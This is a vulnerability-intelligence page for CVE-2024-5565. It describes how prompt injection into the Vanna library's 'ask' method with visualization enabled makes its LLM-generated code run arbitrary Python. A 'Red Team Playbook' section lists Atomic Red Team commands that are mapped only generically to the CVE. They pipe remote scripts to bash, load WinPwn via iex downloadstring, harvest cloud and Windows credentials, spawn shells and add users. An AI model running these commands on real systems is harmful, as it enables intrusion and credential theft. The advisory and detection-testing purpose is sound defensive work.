CVE-2024-5565
Overview
This vulnerability is a prompt injection flaw in the Vanna library's prompt function, which is designed to visualize user input. The root cause is the improper handling of external input passed to the library’s "ask" method when the "visualize" parameter is set to True, allowing injection of arbitrary Python code. The affected component is the prompt processing mechanism within the Vanna library responsible for executing visualization commands.
Vulnerability Description
The Vanna library uses a prompt function to present the user with visualized results, it is possible to alter the prompt using prompt injection and run arbitrary Python code instead of the intended visualization code. Specifically - allowing external input to the library’s “ask” method with "visualize" set to True (default behavior) leads to remote code execution.
Impact
An attacker can remotely execute arbitrary Python code on systems running the vulnerable Vanna library by sending specially crafted input to the "ask" method with visualization enabled. No authentication or user interaction is required, as the attack vector is network accessible and exploitable remotely (AV:N/AC:H/PR:N/UI:N). Successful exploitation can lead to full compromise of the host environment, including data manipulation, service disruption, or lateral movement within the network. The CVSS vector indicates high confidentiality, integrity, and availability impact (C:H/I:H/A:H).
Solution
Users should apply the fix detailed in the JFrog advisory JFSA-2024-001034449, which addresses prompt injection in the Vanna library by restricting code execution in the "ask" method when "visualize" is True. The advisory provides version-specific patches and recommended configuration changes to disable or securely handle visualization prompts. Refer to https://research.jfrog.com/vulnerabilities/vanna-prompt-injection-rce-jfsa-2024-001034449/ for full remediation instructions and updated library versions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Vanna library arises from improper handling of user input within its prompt function, specifically when the "ask" method is invoked with the "visualize" parameter set to True. This design flaw allows an attacker to manipulate the prompt, leading to prompt injection. As a result, instead of executing the intended visualization code, arbitrary Python code can be executed. This flaw is particularly concerning because it exploits the library's default behavior, which is to trust user input without adequate validation or sanitization. Consequently, this creates a pathway for executing malicious code within the context of the application utilizing the Vanna library.
Attack vectors for this vulnerability are diverse and can be executed in various scenarios. An attacker could craft a malicious input that, when processed by the library, triggers the execution of arbitrary Python commands. This could occur in environments where the library is integrated into web applications, data analysis tools, or any software that relies on user-generated prompts for visualizations. For instance, if a web application utilizes Vanna to generate visual reports based on user input, an attacker could submit specially crafted input through a web form, leading to remote code execution on the server. This not only compromises the integrity of the application but also poses a risk to the underlying infrastructure.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on the Vanna library for data visualization and analysis. The ability to execute arbitrary code remotely can lead to unauthorized access to sensitive data, data manipulation, or even complete system compromise. For businesses, this translates into substantial risks, including financial losses, reputational damage, and potential legal liabilities. Furthermore, the exploitation of such vulnerabilities can lead to broader security breaches, affecting not only the immediate application but also interconnected systems and data repositories.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is crucial to conduct a thorough security assessment of applications utilizing the Vanna library, focusing on input validation and sanitization processes. Employing static and dynamic code analysis tools can help identify instances where user input is processed without adequate checks. Additionally, developers should be encouraged to adopt secure coding practices, ensuring that user input is treated with skepticism and subjected to rigorous validation before being processed by the library.
Moreover, organizations should consider implementing runtime protections, such as application firewalls or intrusion detection systems, to monitor for unusual patterns of behavior that may indicate exploitation attempts. Regular updates and patches to the Vanna library should be prioritized, alongside a proactive approach to vulnerability management. By fostering a culture of security awareness and ensuring that development teams are equipped with the knowledge and tools necessary to address such vulnerabilities, organizations can significantly reduce their exposure to risks associated with this and similar vulnerabilities in the future.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-5565, rising by over a quarter from its previous value. This upward trend, coupled with a sustained week-over-week increase, indicates growing interest or potential preparatory activity by threat actors, although no confirmed exploit campaigns or proof-of-concept exploits have yet surfaced in our telemetry. The elevated EPSS percentile suggests that the likelihood of exploitation attempts is becoming more pronounced, warranting heightened vigilance. While the absence of active exploitation limits immediate risk escalation, the trajectory of the EPSS score signals that the vulnerability remains a viable target for adversaries, particularly those seeking remote code execution capabilities via prompt injection in the Vanna library. Consequently, defenders should interpret this development as an early warning of increased threat potential, reflecting a moderate but rising risk environment.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-5565 |
| research.jfrog.com |
GitHub CVE
third-party-advisory
|
https://research.jfrog.com/vulnerabilities/vanna-prompt-injection-rce-jfsa-2024-001034449/ |